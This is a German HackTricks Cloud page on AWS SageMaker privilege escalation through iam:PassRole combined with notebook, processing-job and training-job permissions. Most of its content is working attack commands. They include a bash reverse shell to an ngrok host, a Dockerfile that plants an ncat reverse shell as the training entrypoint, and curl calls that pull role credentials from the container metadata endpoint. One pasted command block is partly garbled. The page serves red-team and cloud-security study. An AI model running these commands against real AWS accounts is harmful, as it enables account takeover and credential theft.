AWS - Sagemaker Privesc

Erlernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

iam:PassRole, sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl

Beginnen Sie mit der Erstellung eines Notebooks mit der IAM-Rolle, die darauf zugreifen kann:

aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>

Die Antwort sollte ein NotebookInstanceArn-Feld enthalten, das den ARN der neu erstellten Notebook-Instanz enthält. Anschließend können wir die create-presigned-notebook-instance-url-API verwenden, um eine URL zu generieren, über die wir auf die Notebook-Instanz zugreifen können, sobald sie bereit ist:

aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>

Navigiere zur URL mit dem Browser und klicke oben rechts auf "Open JupyterLab", scrolle dann zum Tab "Launcher" und klicke unter dem Abschnitt "Other" auf die Schaltfläche "Terminal".

Jetzt ist es möglich, auf die Metadatenanmeldeinformationen der IAM-Rolle zuzugreifen.

Potenzielle Auswirkungen: Privilege Escalation zur angegebenen Sagemaker-Service-Rolle.

sagemaker:CreatePresignedNotebookInstanceUrl

Wenn bereits Jupyter-Notebooks darauf ausgeführt werden und du sie mit sagemaker:ListNotebookInstances auflisten kannst (oder sie auf andere Weise entdeckst), kannst du eine URL für sie generieren, auf sie zugreifen und die Anmeldeinformationen stehlen, wie im vorherigen Verfahren angegeben.

aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>

Potenzielle Auswirkungen: Privilege Escalation zum Sagemaker-Dienstrolle angehängt.

sagemaker:CreateProcessingJob,iam:PassRole

Ein Angreifer mit diesen Berechtigungen kann Sagemaker dazu bringen, einen Verarbeitungsauftrag mit einer Sagemaker-Rolle daran auszuführen. Der Angreifer kann die Definition des Containers angeben, der in einer AWS verwalteten ECS-Konto-Instanz ausgeführt wird, und die Anmeldeinformationen der angehängten IAM-Rolle stehlen.

# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \
--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role>

# In my tests it took 10min to receive the shell
curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the creds

Potenzielle Auswirkungen: Privilege Escalation zum angegebenen Sagemaker-Service-Rolle.

sagemaker:CreateTrainingJob, iam:PassRole

Ein Angreifer mit diesen Berechtigungen kann einen Trainingsjob erstellen, der einen beliebigen Container ausführt, der mit einer Rolle verbunden ist. Daher kann der Angreifer die Anmeldeinformationen der Rolle stehlen.

Dieses Szenario ist schwieriger auszunutzen als das vorherige, da Sie ein Docker-Image generieren müssen, das die Reverse-Shell oder Anmeldeinformationen direkt an den Angreifer sendet (Sie können keinen Startbefehl in der Konfiguration des Trainingsjobs angeben).

# Create docker image
mkdir /tmp/rev
## Note that the trainning job is going to call an executable called "train"
## That's why I'm putting the rev shell in /bin/train
## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>
cat > /tmp/rev/Dockerfile <<EOF
FROM ubuntu
RUN apt update && apt install -y ncat curl
RUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/train
RUN chmod +x /bin/train
CMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh
EOF

cd /tmp/rev
sudo docker build . -t reverseshell

# Upload it to ECR
sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest

```bash # Create trainning job with the docker image created aws sagemaker create-training-job \ --training-job-name privescjob \ --resource-config '{"InstanceCount": 1,"InstanceType": "ml.m4.4xlarge","VolumeSizeInGB": 50}' \ --algorithm-specification '{"TrainingImage":".dkr.ecr..amazonaws.com/reverseshell", "TrainingInputMode": "Pipe"}' \ --role-arn \ --output-data-config '{"S3OutputPath": "s3://"}' \ --stopping-condition '{"MaxRuntimeInSeconds": 600}'

#To get the creds curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer

**Potenzielle Auswirkungen:** Privilege Escalation zum angegebenen Sagemaker-Service-Rolle.

## `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`

Ein Angreifer mit diesen Berechtigungen kann (potenziell) einen **Hyperparameter-Trainingsjob** erstellen, der **beliebigen Container ausführt**, mit einer **angehängten Rolle**.\
_Ich habe es nicht ausgenutzt wegen Zeitmangels, aber es sieht ähnlich aus wie die vorherigen Exploits, fühlen Sie sich frei, einen PR mit den Exploitationsdetails zu senden._

# Referenzen
* [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)

<details>

<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

Andere Möglichkeiten, HackTricks zu unterstützen:

* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.

</details>

Last updated